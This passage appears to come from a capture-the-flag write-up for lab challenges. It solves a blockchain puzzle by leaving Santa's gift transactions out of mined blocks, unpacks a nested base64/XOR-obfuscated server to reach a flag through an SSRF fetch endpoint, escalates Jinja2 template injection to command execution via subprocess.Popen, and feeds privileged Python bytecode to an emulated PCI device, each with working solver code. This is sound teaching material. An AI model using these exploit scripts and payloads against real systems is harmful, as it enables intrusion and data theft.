On startup each child will get a private and public key in the /challenge/keys directory, although we can only access the private key of the user hacker.

1
2
3
4
5
6
7
8
9
mkdir -p /challenge/keys
CHILDREN="willow hazel holly rowan laurel juniper aspen ash maple alder cedar birch elm cypress pine spruce"
for identity in santa hacker $CHILDREN; do
  mkdir -p "/challenge/keys/${identity}"
  ssh-keygen -t ed25519 -N "" -f "/challenge/keys/${identity}/key" >/dev/null
done
chown -R 1000:1000 /challenge/keys/hacker
...
./children.py $CHILDREN >> /var/log/children.log 2>&1 &

The north_poole.py blockchain application is running on port 80.

1
2
3
4
5
6
./north_poole.py >> /var/log/north_poole.log 2>&1 &
sleep 2

export NORTH_POOLE=http://localhost

./santa.py >> /var/log/santa.log 2>&1 &

The elf.py application is started for each elf individually.

1
2
3
for name in jingle sparkle tinsel nog snowflake; do
  ELF_NAME="$name" ./elf.py >> /var/log/elf.log 2>&1 &
done

Deep Dive

For this challenge every user is allowed to mine blocks, although only children can send a letter and earn NiceCoin™. We have the child hacker for this challenge.

The overall goal is to extract the flag, to do that we need to know the SECRET_GIFT which is a randomly generated value (SECRET_GIFT = os.urandom(16).hex()).

1
2
if SECRET_GIFT in letter["letter"]:
    gift_value = FLAG_GIFT

To get the SECRET_GIFT value, we can write santa a letter in the form of secret index #<num>.

1
2
3
4
if not gift_value and (match := re.search(r"secret index #([0-9]+)", letter["letter"])):
    index = int(match.group(1))
    if 0 <= index < len(SECRET_GIFT):
        gift_value = SECRET_GIFT[index]

The get_nice_balances function substracts 1 nice coin because the secret character is send back as a transaction.

1
2
3
4
5
6
7
if tx_type == "gift" and src == "santa":
    balances[src] = balances.get(src, 0) + 1
    balances[dst] = balances.get(dst, 0) - 1
elif tx_type == "transfer":
    amount = tx.get("transfer", 0)
    balances[src] = balances.get(src, 0) - amount
    balances[dst] = balances.get(dst, 0) + amount

The challenge is that each secret costs and we can only earn 10 NiceCoin™s. If we have more than 10 this line blocks us.

1
2
if nice_counts[nice_person] > 10:
    return jsonify({"error": "abuse of nice list detected"}), 400

Moreover Santa only reads letters from the blockchain which are older than 5 blocks. Other blocks will be ignored because REQUIRED_CONFIRMATION_DEPTH is 5.

1
2
3
4
5
6
7
        # Collect letters Santa can trust (recent blocks are not yet sufficiently confirmed)
        for block in chain[:-REQUIRED_CONFIRMATION_DEPTH]:
            for tx in block["txs"]:
                if tx["type"] == "letter" and tx["dst"] == "santa" and tx["letter"].startswith(LETTER_HEADER):
                    child = tx["src"]
                    letters.setdefault(child, {})
                    letters[child][tx["nonce"]] = tx

Approach

The solution to this problem is typical for a blockchain. Because we can compute blocks for the chain, we can simply don’t add the gift transactions to the blockchain. With that Santa will keep sending us gifts.

The last problem that could arise is that elfs will mine a coin while we are getting the secret. Fortunately, the 5 elves (jingle sparkle tinsel nog snowflake) each wait from 10 to 120 seconds between mining each coin. It is unlikely that one of them is pushing the transaction which will remove a coin from us right when Santa sent the first gift. After the second gift is send from Santa the elf algorithm will error out because it will generate a negative balance.

1
time.sleep(random.randint(10, 120))

Solving Script

The script takes about 1 minute to run, it first sends all the letters to Santa, then it extends the chain by 6 blocks (1 letter block and 5 conformation blocks). Now Santa will return the gift characters which we can collect, after getting all the characters we can send the secret and once again extend the chain. Finally we check the transaction pool for the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
import hashlib
import json
import requests
import time
import uuid
from pathlib import Path
from cryptography.hazmat.primitives import serialization
from pwn import *

REQUIRED_CONFIRMATION_DEPTH = 5
DIFFICULTY = 16
DIFFICULTY_PREFIX = "0" * (DIFFICULTY // 4)
NORTH_POOLE = "http://localhost"
HACKER = "hacker"
LETTER_HEADER = "Dear Santa,\n\nFor christmas this year I would like "
context.log_level = "info"


key_path = Path("/challenge/keys") / HACKER / "key"
HACKER_KEY = serialization.load_ssh_private_key(key_path.read_bytes(), password=None)

def hash_block(block):
    base_str = json.dumps(block, sort_keys=True, separators=(",", ":"))
    nonce = 0
    while True:
        block["nonce"] = nonce
        nonce_str = f'"nonce":{nonce}'
        block_str = base_str.replace('"nonce":0', nonce_str)
        block_hash = hashlib.sha256(block_str.encode()).hexdigest()
        if block_hash.startswith(DIFFICULTY_PREFIX):
            return block
        nonce += 1

def get_block(hash=None):
    params = {"hash": hash} if hash else {}
    resp = requests.get(f"{NORTH_POOLE}/block", params=params)
    resp.raise_for_status()
    data = resp.json()
    return data["block"], data["hash"]


def get_txpool_filtered(parent_hash, exclude_nonces=None):
    exclude_nonces = exclude_nonces or set()
    
    resp = requests.get(f"{NORTH_POOLE}/txpool")
    resp.raise_for_status()
    txs = resp.json()["txs"]
    
    mined_nonces = set()
    current_hash = parent_hash

    while current_hash:
        blk_resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": current_hash})
        if blk_resp.status_code != 200:
            break
        blk = blk_resp.json()["block"]
        mined_nonces.update(tx.get("nonce") for tx in blk.get("txs", []))
        current_hash = blk.get("prev_hash")

    fresh_txs = [tx for tx in txs if tx.get("nonce") not in mined_nonces and tx.get("nonce") not in exclude_nonces]
    return fresh_txs, resp.json()["hash"]

def mine_block(nice_person=None, exclude=None):
    """ Mines a block and excludes all tx's which could result in a invalid block """

    parent_block,parent_hash = get_block()

    txs, _ = get_txpool_filtered(parent_hash, exclude)

    resp = requests.get(f"{NORTH_POOLE}/balances", params={"hash": parent_hash})
    if resp.status_code == 200:
        balances = resp.json().get("balances", {})
        valid_txs = []
        for tx in txs:
            if tx.get("type") == "transfer":
                if balances.get(tx.get("src"), 0) >= tx.get("transfer", 0):
                    valid_txs.append(tx)
            else:
                valid_txs.append(tx)
        txs = valid_txs

    block = {
        "index": parent_block["index"] + 1,
        "prev_hash": parent_hash,
        "nonce": 0,
        "txs": txs,
        "nice": nice_person,
    }


    mined_block = hash_block(block)

    resp = requests.post(f"{NORTH_POOLE}/block", json=mined_block)
    if resp.status_code != 200:
        raise RuntimeError(f"Block rejected: {resp.text}")


def send_letter(content, dst="santa", src=HACKER):
    """ Send a letter to a person """
    try:
        tx_nonce = str(uuid.uuid4())
        tx = {
            "src": src,
            "dst": dst,
            "type": "letter",
            "letter": f"{LETTER_HEADER}{content}",
            "nonce": tx_nonce,
        }

        msg = json.dumps(tx, sort_keys=True, separators=(",", ":"))
        digest = hashlib.sha256(msg.encode()).digest()
        tx["sig"] = HACKER_KEY.sign(digest).hex()

        resp = requests.post(f"{NORTH_POOLE}/tx", json=tx)
        if resp.status_code == 200:
            return tx_nonce
        else:
            raise RuntimeError(f"Letter rejected: {resp.text}")
    except Exception as e:
        log.error(f"Failed to send letter: {e}")
        return None, None

def wait_for_santa_gifts(nonces, timeout=180, poll_interval=2):
    nonce_dict = {key: None for key in nonces}
    start_time = time.time()

    def all_nonces_received():
        return all(nonce_dict[nonce] is not None for nonce in nonces)

    def process_txs(txs):
        for tx in txs:
            if tx.get("src") != "santa":
                continue

            for idx, nonce in enumerate(nonces):
                if nonce_dict[nonce] is not None:
                    continue

                if tx.get("nonce") == f"{nonce}-gift":
                    gift = tx.get("gift")
                    nonce_dict[nonce] = gift
                    log.info(f"Character at index {idx}: {gift}")

    while time.time() - start_time < timeout:
        try:

            txpool_resp = requests.get(f"{NORTH_POOLE}/txpool")
            txpool_resp.raise_for_status()
            process_txs(txpool_resp.json().get("txs", []))

            if all_nonces_received():
                return "".join(nonce_dict[nonce] for nonce in nonces)


            head_resp = requests.get(f"{NORTH_POOLE}/block")
            head_resp.raise_for_status()
            current_hash = head_resp.json().get("hash")

            for _ in range(20):
                if not current_hash:
                    break

                resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": current_hash})
                if resp.status_code != 200:
                    break

                blk = resp.json().get("block", {})
                process_txs(blk.get("txs", []))

                if all_nonces_received():
                    return "".join(nonce_dict[nonce] for nonce in nonces)

                current_hash = blk.get("prev_hash")

        except Exception as e:
            log.error(f"Failed to check Santa gift: {e}")

        time.sleep(poll_interval)

    log.error(f"No gift received after {timeout} seconds")
    return None

def get_flag():
    while True:
        txpool_resp = requests.get(f"{NORTH_POOLE}/txpool").json()
        txs = txpool_resp.get("txs", [])
        count = 0

        for tx in txs:
            if "pwn.college" in str(tx):
                log.success("===== FOUND FLAG =====")
                log.success(tx["gift"])
                exit()
        time.sleep(0.1)


def get_exclusion_list():
    exclude = set()
    try:
        txpool_resp = requests.get(f"{NORTH_POOLE}/txpool")
        if txpool_resp.status_code == 200:
            for tx in txpool_resp.json().get("txs", []):
                if tx.get("type") == "gift" and tx.get("src") == "santa":
                    exclude.add(tx.get("nonce"))
                    log.debug(f"[EXCLUDE] Gift tx: {tx.get('nonce')[:8]}... (dst: {tx.get('dst')})")
    except Exception as e:
        log.warning(f"Could not scan txpool: {e}")

    return exclude

def mine_n_blocks(n,exclude=None,nice_person=None):
    i = 0
    while i < n:
        try:
            mine_block(nice_person=None, exclude=exclude)
            log.info(f"Extended block {i+1}/{n}")
            i += 1
        except RuntimeError as e:
            log.info(f"Block rejected at {i+1}/{n}")
            log.info("Refreshing exclusion list...")

            exclude = get_exclusion_list()

    return

def extract_secret_gift_chars():
    nonces = []

    start_time = time.time()
    
    log.info("Scanning txpool for problematic transactions...")
    exclude = get_exclusion_list()

    for i in range(32):
        letter_content = f"secret index #{i}"
        nonce = send_letter(letter_content)
        nonces.append(nonce)
        
        log.info(f"Sent request for index {i}, nonce: {nonce}")
        time.sleep(0.05)

    log.info("Scanning txpool for problematic transactions...")
    exclude = get_exclusion_list()
    
    
    mine_n_blocks(5,exclude=exclude)

    log.info(f"Waiting for Santa to process letter (needs {REQUIRED_CONFIRMATION_DEPTH} confirmations)...")
    
    gifts = wait_for_santa_gifts(nonces, timeout=180)
    
    if not gifts:
        log.error(f"Timeout - no gift received")
    
    log.success(f"Full gift string: '{gifts}'")

    exclude.add(nonce)
    exclude.add(f"{nonce}-gift")

    nonce = send_letter(gifts)
    
    log.info(f"Sent request for final flag, nonce: {nonce}")

    mine_n_blocks(6,exclude=exclude)

    char_elapsed = time.time() - start_time
    log.info(f"Character extraction took {char_elapsed:.2f} seconds")

if __name__ == "__main__":
    extract_secret_gift_chars()
    get_flag()

Day 7 - Reversing/Encoding

The challenge on day 7 starts with the following description:

Wow, Zardus thinks he’s Santa 🎅, offering a cheerful Naughty-or-Nice checker on http://localhost/ — but in typical holiday overkill, it has been served as a full festive turducken: a bright, welcoming outer roast 🦃, a warm, well-seasoned middle stuffing 🦆, and a rich, indulgent core that ties the whole dish together 🐔. It all looks merry enough at first glance, yet the whole thing feels suspiciously overstuffed 🎁. Carve into this holiday creation and see what surprises have been tucked away at the center.

You can find only one important file in the challenge directory.

Reversing the Code

The file is named turkey.py and contains a Flask server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request, abort
import requests
import base64
import subprocess

PAYLOAD = 'SGRib2......'

app = Flask(__name__)

if __name__ == '__main__':
    if PAYLOAD:
        decoded = base64.b64decode(PAYLOAD)
        reversed_bytes = decoded[::-1]
        unpacked = bytes(b ^ 0x42 for b in reversed_bytes)
        subprocess.run(unpacked.decode(), shell=True)
    app.run(host='0.0.0.0', port=80, debug=False)

The Flask server decodes the variable PAYLOAD using base64 and XOR and then executes it.

We can extract the payload manually using a simple Python script.

1
2
3
4
5
6
7
8
9
10
11
import base64

PAYLOAD = 'SGRib2....'


decoded = base64.b64decode(PAYLOAD)
reversed_bytes = decoded[::-1]
unpacked = bytes(b ^ 0x42 for b in reversed_bytes)

with open("payload2","wb") as file:
    file.write(unpacked)

The script creates a new network namespace named middleware. Next, there is a veth-host interface created in the host namespace to communicate to the middleware namespace. Furthermore, there are some commands executed to setup the network. Thereafter, iptables is used to stop any traffic which returns back to the host namespace. Using the ip netns exec middleware /usr/bin/cobol command, a JavaScript application is executed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ip netns add middleware
ip link add veth-host type veth peer name veth-middleware
ip link set veth-middleware netns middleware
ip addr add 72.79.72.1/24 dev veth-host
ip link set veth-host up

ip netns exec middleware ip addr add 72.79.72.79/24 dev veth-middleware
ip netns exec middleware ip link set veth-middleware up
ip netns exec middleware ip route add default via 72.79.72.1   
ip netns exec middleware ip link set lo up

iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -o veth-host -j REJECT
echo "
...
" | ip netns exec middleware /usr/bin/cobol - &

The JS application starts another server on the IP 72.79.72.79 in the middleware namespace. The application can be used to fetch other services which may be not reached by the normal host namespace. Before the server is executed another base64 encoded payload is decoded and executed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const http = require('http');
const url = require('url');
const { execSync } = require('child_process');

const payload = 'a3IicGd2....';

if (payload) {
  const decoded = Buffer.from(payload, 'base64');
  const unpacked = Buffer.from(decoded.map(byte => (byte - 2 + 256) % 256));
  execSync(unpacked.toString(), { stdio: 'inherit' });
}

const server = http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);

  if (parsedUrl.pathname === '/fetch') {
    const targetUrl = parsedUrl.query.url;

    if (!targetUrl) {
      res.writeHead(400, { 'Content-Type': 'text/html' });
      res.end('<h1>Missing url parameter</h1>');
      return;
    }

    try {
      const response = await fetch(targetUrl);
      const content = await response.text();
      res.writeHead(200, { 'Content-Type': 'text/plain' });
      res.end(content);
    } catch (error) {
      res.writeHead(500, { 'Content-Type': 'text/html' });
      res.end(`<h1>Error fetching URL: ${error.message}</h1>`);
    }
  } else {
    res.writeHead(404, { 'Content-Type': 'text/html' });
    res.end('<h1>Not Found</h1>');
  }
});

const PORT = process.env.PORT || 80;
const HOST = "72.79.72.79";
server.listen(PORT, HOST, () => {
    console.log(`Server running on http://${HOST}:${PORT}`);
});

If we decode this in a simple node console as below we receive another collection of shell commands.

The commands are run in the middleware namespace and creates a new namespace named backend. This namespace is connected to the middleware namespace using veth-host. In the backend namespace a Ruby server is setup which returns the flag if we send hohoho-i-want-the-flag as the xmas parameter (The php is just a Ruby code executer).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ip netns add backend
ip link add veth-host type veth peer name veth-backend
ip link set veth-backend netns backend
ip addr add 88.77.65.1/24 dev veth-host
ip link set veth-host up

ip netns exec backend ip addr add 88.77.65.83/24 dev veth-backend
ip netns exec backend ip link set veth-backend up
ip netns exec backend ip route add default via 88.77.65.1   
ip netns exec backend ip link set lo up

iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -o veth-host -j REJECT

export RACK_ENV=production

echo "require 'sinatra'

set :environment, :production
set :bind, '88.77.65.83'
set :port, 80

get '/' do
  \"<h1>Go away, you'll never find the flag</h1>\"
end

get '/flag' do
  if params['xmas'] == 'hohoho-i-want-the-flag'
    File.read('/flag')
  else
    \"<h1>that's not correct</h1>\"
  end
end
" | ip netns exec backend /usr/bin/php - &

Challenge Issue

To solve this challenge we need to reach the backend server through namespaces. Fortunately, if we check if we can reach the middleware server and get a result we are greeted with a response. Even though there are iptables-rules executed, they do not apply because iptables doesn’t work in the container.

1
2
$ curl http://72.79.72.79/
<h1>Welcome to the middleware service. We fetch things!</h1>

Solution

Using that we can query the /fetch endpoint and use it to reach the final server which serves the flag.

1
2
$ curl http://72.79.72.79/fetch?url=http%3A%2F%2F88%2E77%2E65%2E83%2Fflag%3Fxmas%3Dhohoho%2Di%2Dwant%2Dthe%2Dflag
pwn.college{practice}

Day 8 - SSTI

On day 8, we start with the following description:

🔨⚙️🧵 Santa’s Workshop of Jingly Jinja Magic 🎁✨🛠️

Hidden between a tower of half-painted rocking horses and a drift of cinnamon-scented sawdust lies a cozy corner of Santa’s Workshop 🎄✨. A crooked little sign hangs above it, dusted with snowflakes and glitter: TINKER → BUILD → PLAY.

Here, elves shuffle about with scraps of blueprints—teddy bears waiting for their whispered secrets 🧸, wooden trains craving extra “choo” 🚂, and tin robots frozen mid-twirl 🤖✨. Each blueprint is just a fragment at first, patched with tiny gaps where holiday magic (and the occasional variable) gets poured in.

Once an elf has fussed over a design—nudging, scribbling, humming carols as they go—it’s fed into the clanky old assembler, a machine that wheezes peppermint steam and occasionally complains in compiler warnings ❄️💥. But when the gears settle and the lights blink green, out pops something wondrous:

A toy that runs.

Suddenly the workshop sparkles with noise—beeps, choos, secrets, giggles. Each creation takes its first breath of output, wide-eyed and ready to play 🎁💫.

It’s a tiny corner of the North Pole, but this is where Christmas cheer is written, compiled, and sent twinkling into the world.

In the challenge directory you can find the script workshop.py. The script is creating a Flask server.

The challenge provides template files for C code. You can create a project using a Jinja2 template. When created, we can edit the project script and render the contents using Jinja2. Additionally, you can compile and finally execute the project scripts. Even though the Flask server is run as root, the privileges are dropped when compiling and executing the binary/project script.

Code Analysis

The /tinker/<toy_id> API allows us to replace a number of characters in the project file. By replacing some chars with a payload like {{9*9}}, we can test for SSTI.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@app.route("/tinker/<toy_id>", methods=["POST"])
def tinker(toy_id: str):
    payload = request.get_json(force=True, silent=True) or {}
    op = payload.get("op")
    src = TINKERING_DIR / toy_hash(toy_id)
    if not src.exists():
        return jsonify({"status": "error", "error": "toy not found"}), 404

    text = src.read_text()

    if op == "replace":
        idx = int(payload.get("index", 0))
        length = int(payload.get("length", 0))
        content = payload.get("content", "")
        new_text = text[:idx] + content + text[idx + length :]
        src.write_text(new_text)
        return jsonify({"status": "tinkered"})

    if op == "render":
        ctx = payload.get("context", {})
        rendered = render_template_string(text, **ctx)
        src.write_text(rendered)
        return jsonify({"status": "tinkered"})

    return jsonify({"status": "error", "error": "bad op"}), 400

For simpler execution of payloads we can implement a short Python script. The script starts at the index 153 which is the beginning of the puts(". This way we can build a payload and print it imminently.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests,html

BASE_URL = "http://localhost:80"
payload_ssti = "{{ 9*9 }}"

r = requests.post(f"{BASE_URL}/create", json={"template":"train.c.j2"})
toy_id = r.json()["toy_id"]; print(f"Created toy: {toy_id}")

payload = {"op":"replace","index":153,"content":payload_ssti,"length":0}
requests.post(f"{BASE_URL}/tinker/{toy_id}", json=payload)

payload_render = {"op":"render","context":{"cargo":""}}
requests.post(f"{BASE_URL}/tinker/{toy_id}", json=payload_render)

requests.post(f"{BASE_URL}/assemble/{toy_id}", json={})

play_payload = {"stdin": "optional input to the binary\n"}

r = requests.post(f"{BASE_URL}/play/{toy_id}", json=play_payload)

print(f"{html.unescape(r.json()["stdout"])}")

The payload successfully returns 81 as expected from the SSTI payload.

1
2
3
4
5
6
7
8
9
$ python3 test.py 
Created toy: 9c6935d01403a289
81choo choo!
cargo: 
line: 
next station:
next stop: optional input to the binary
tickets punched: 10
....

At this point we can check for useful classes to execute commands. You can replace the payload with this payload.

1
payload_ssti = "{{ ''.__class__.__mro__[1].__subclasses__() }}"

When executing we get a huge number of classes.

1
2
3
$ python3 solver.py
Created toy: 516dcb9314211512                                       
[<class 'type'>, <class 'async_generator'>,...

By simply searching for subprocess.Popen and then checking the index of it.

With this we can cat the flag file using subprocess and return the result.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests,html

BASE_URL = "http://localhost:80"
payload_ssti = "{{ ''.__class__.__mro__[1].__subclasses__()[273]('cat /flag',shell=True,stdout=-1).communicate()[0].strip() }}"

r = requests.post(f"{BASE_URL}/create", json={"template":"train.c.j2"})
toy_id = r.json()["toy_id"]; print(f"Created toy: {toy_id}")

payload = {"op":"replace","index":153,"content":payload_ssti,"length":0}
requests.post(f"{BASE_URL}/tinker/{toy_id}", json=payload)

payload_render = {"op":"render","context":{"cargo":""}}
requests.post(f"{BASE_URL}/tinker/{toy_id}", json=payload_render)

requests.post(f"{BASE_URL}/assemble/{toy_id}", json={})

play_payload = {"stdin": "optional input to the binary\n"}

r = requests.post(f"{BASE_URL}/play/{toy_id}", json=play_payload)

print(f"{html.unescape(r.json()["stdout"])}")

Executing the solve script yields the flag.

1
2
3
$ python3 solver.py 
Created toy: b264d15da69ba9e9
b'pwn.college{practice}'choo choo!

Day 9 - Python Byte Code

This part of the series is about crafting Python byte code in a virtual machine with no simple utilities available.

The day 9 started with the a description explaining the “new” pypu.

This year, Santa decided you’ve been especially good and left you a shiny new Python Processing Unit (pypu) — a mysterious PCIe accelerator built to finally quiet all the elves who won’t stop grumbling that “Python is slow” 🐍💨. This festive silicon snack happily devours .pyc bytecode at hardware speed… but Santa forgot to include any userspace tools, drivers, or documentation for how to actually use it. 🎁 All you’ve got is a bare MMIO interface, a device that will execute whatever .pyc you can wrangle together, and the hope that you can coax this strange gift into revealing an extra gift. Time to poke, prod, reverse-engineer, and see what surprises your new holiday hardware is hiding under the tree. 🎄✨

There are several files inside the /challenge directory. The first important one is the run.sh file, it is used to start up a qemu machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/exec-suid -- /bin/bash -p

set -euo pipefail

PATH="/challenge/runtime/qemu/bin:$PATH"

qemu-system-x86_64 \
  -machine q35 \
  -cpu qemu64 \
  -m 512M \
  -nographic \
  -no-reboot \
  -kernel /challenge/runtime/bzImage \
  -initrd /challenge/runtime/rootfs.cpio.gz \
  -append "console=ttyS0 quiet panic=-1" \
  -device pypu-pci \
  -serial stdio \
  -monitor none

The machine contains the compiled code from the src directory. We can execute compiled Python code. The interface for executing the Python code is pypu-pci and is a PCI device. The PCI device has the vendor id 0x1337 and the device id 0x1225. At the beginning the flag is read into state->flag. Additionally, some memory regions are set allow code to be inputted code, for stdout and for stderr.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static void pypu_pci_realize(PCIDevice *pdev, Error **errp)
{
    PypuPCIState *state = PYPU_PCI(pdev);

    qemu_mutex_init(&state->py_mutex);
    qemu_cond_init(&state->py_cond);
    state->py_thread_alive = true;
    state->work_gen = 0;
    state->done_gen = 0;
    g_autofree char *flag_file = NULL;
    if (g_file_get_contents("/flag", &flag_file, NULL, NULL)) {
        pstrcpy(state->flag, sizeof(state->flag), flag_file);
    }
    qemu_thread_create(&state->py_thread, "pypu-py", python_worker, state,
                       QEMU_THREAD_JOINABLE);

    pci_config_set_vendor_id(pdev->config, 0x1337);
    pci_config_set_device_id(pdev->config, 0x1225);
    pci_config_set_class(pdev->config, PCI_CLASS_OTHERS);

    memory_region_init_io(&state->mmio, OBJECT(pdev), &pypu_mmio_ops, state,
                          "pypu-mmio", 0x1000);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &state->mmio);
    memory_region_init_io(&state->stdout_mmio, OBJECT(pdev), &pypu_stdout_ops, state,
                          "pypu-stdout", sizeof(state->stdout_capture));
    pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_MEMORY, &state->stdout_mmio);
    memory_region_init_io(&state->stderr_mmio, OBJECT(pdev), &pypu_stderr_ops, state,
                          "pypu-stderr", sizeof(state->stderr_capture));
    pci_register_bar(pdev, 2, PCI_BASE_ADDRESS_SPACE_MEMORY, &state->stderr_mmio);
}

We can trigger the execution of the Python code by writing to the memory section dedicated for this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void pypu_mmio_write(void *opaque, hwaddr addr, uint64_t val,
                             unsigned size)
{
    PypuPCIState *state = opaque;

    if (addr == 0x04 && size == 4) {
        state->scratch = val;
    } else if (addr == 0x0c && size == 4) {
        state->greet_count++;
        qemu_mutex_lock(&state->py_mutex);
        state->work_gen++;
        qemu_cond_signal(&state->py_cond);
        while (state->done_gen != state->work_gen && state->py_thread_alive) {
            qemu_cond_wait(&state->py_cond, &state->py_mutex);
        }
        qemu_mutex_unlock(&state->py_mutex);
    }
}

We can check the PCI devices by running lspci.

1
2
~ # lspci
00:03.0 Class 00ff: 1337:1225

To check the memory addresses we can cat the resource file.

1
2
3
4
5
~ # cat /sys/bus/pci/devices/0000:00:03.0/resource
0x00000000febd5000 0x00000000febd5fff 0x0000000000040200
0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
0x00000000febd7000 0x00000000febd7fff 0x0000000000040200
...

The execute_python_code will execute the Python bytecode. It even prints the expected magic number which is specific to each Python function. Next, we need to get the PYPU_PRIVILEGED_HASH, fortunately the value is defined in the file pypu-privileged.h file, #define PYPU_PRIVILEGED_HASH 0xf0a0101a75bc9dd3ULL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static void execute_python_code(PypuPCIState *state, const uint8_t *pyc, uint32_t pyc_len)
{
    debug_log("[pypu] executing python code from MMIO (%u bytes)\n", pyc_len);
    for (uint32_t i = 0; i < pyc_len && i < 32; i++) {
        debug_log("%s%02x", (i == 0 ? "[pypu] code bytes: " : " "), pyc[i]);
    }
    debug_log("%s\n", pyc_len > 0 ? "" : "[pypu] code bytes: <none>");

    if (pyc_len < 16) {
        debug_log("[pypu] abort: missing header (%u bytes)\n", pyc_len);
        return;
    }

    PyGILState_STATE gil = PyGILState_Ensure();

    uint32_t header_magic = load_le32(pyc);
    uint32_t pyc_flags = load_le32(pyc + 4);
    uint64_t pyc_hash = load_le64(pyc + 8);
    unsigned long expected_magic = (unsigned long)PyImport_GetMagicNumber();
    debug_log("[pypu] pyc header: magic=0x%08x expected=0x%08lx flags=0x%08x hash=0x%016" PRIx64 "\n",
              header_magic, expected_magic, pyc_flags, pyc_hash);

    if (header_magic != (uint32_t)expected_magic) {
        debug_log("[pypu] abort: bad pyc magic\n");
        PyGILState_Release(gil);
        return;
    }

    bool privileged = pyc_hash == PYPU_PRIVILEGED_HASH;
    if (privileged) {
        debug_log("[pypu] pyc hash matches privileged blob (0x%016" PRIx64 ")\n",
                  PYPU_PRIVILEGED_HASH);
    }

    const uint8_t *code = pyc + 16;
    Py_ssize_t code_len = (Py_ssize_t)pyc_len - 16;
    PyObject *code_obj = PyMarshal_ReadObjectFromString((const char *)code, code_len);
    if (!code_obj) {
        PyErr_Print();
        PyGILState_Release(gil);
        return;
    }
}

The next issue is that we do not have any useful tools for writing to memory. To solve this problem, we can use devmem, this command line tool, this allows us to edit memory. We can run the following code to make commands for the challenge solving code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import marshal
import struct

code = compile("import gifts; print(gifts.flag)", "<string>", "exec")
marshaled = marshal.dumps(code)

magic = struct.pack('<I', 0)
flags = struct.pack('<I', 0)
priv_hash = struct.pack('<Q', 0xf0a0101a75bc9dd3)
pyc_data = magic + flags + priv_hash + marshaled

mmio_base = 0x00000000febd5000

print(f"devmem 0x{mmio_base + 0x10:x} 32 0x{len(pyc_data):x}")

addr = mmio_base + 0x100
for b in pyc_data:
    print(f"devmem 0x{addr:x} 8 0x{b:02x}")
    addr += 1

print(f"devmem 0x{mmio_base + 0x0C:x} 32 0x1")

Before running the commands we need to add the following line to the /challenge/run.sh in debug mode, export PYPU_DEBUG=1. You can copy the commands into the qemu after that. This returns the expected value for the magic bytes 0x0a0d0df3.

1
2
3
4
[pypu] executing python code from MMIO (185 bytes)
[pypu] code bytes: 00 00 00 00 00 00 00 00 d3 9d bc 75 1a 10 a0 f0 e3 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00
[pypu] pyc header: magic=0x00000000 expected=0x0a0d0df3 flags=0x00000000 hash=0xf0a0101a75bc9dd3
[pypu] abort: bad pyc magic

This yields the last part of the script needed to solve the challenge.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import marshal
import struct

code = compile("import gifts; print(gifts.flag)", "<string>", "exec")
marshaled = marshal.dumps(code)

magic = struct.pack('<I', 0x0a0d0df3)
flags = struct.pack('<I', 0)
priv_hash = struct.pack('<Q', 0xf0a0101a75bc9dd3)
pyc_data = magic + flags + priv_hash + marshaled

mmio_base = 0x00000000febd5000

print(f"devmem 0x{mmio_base + 0x10:x} 32 0x{len(pyc_data):x}")

addr = mmio_base + 0x100
for b in pyc_data:
    print(f"devmem 0x{addr:x} 8 0x{b:02x}")
    addr += 1

print(f"devmem 0x{mmio_base + 0x0C:x} 32 0x1")

print("Some devmem commands to get the characters...")
stdout_base = 0xFEBD6000
for i in range(256):  # adjust max length as needed
    print(f"devmem 0x{stdout_base + i:x} 8")

Important: Execute the command creater using python.3.13 otherwise the byte codes don’t work in the virtual machine.

The result bytes are at the address range 0xfebd6000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
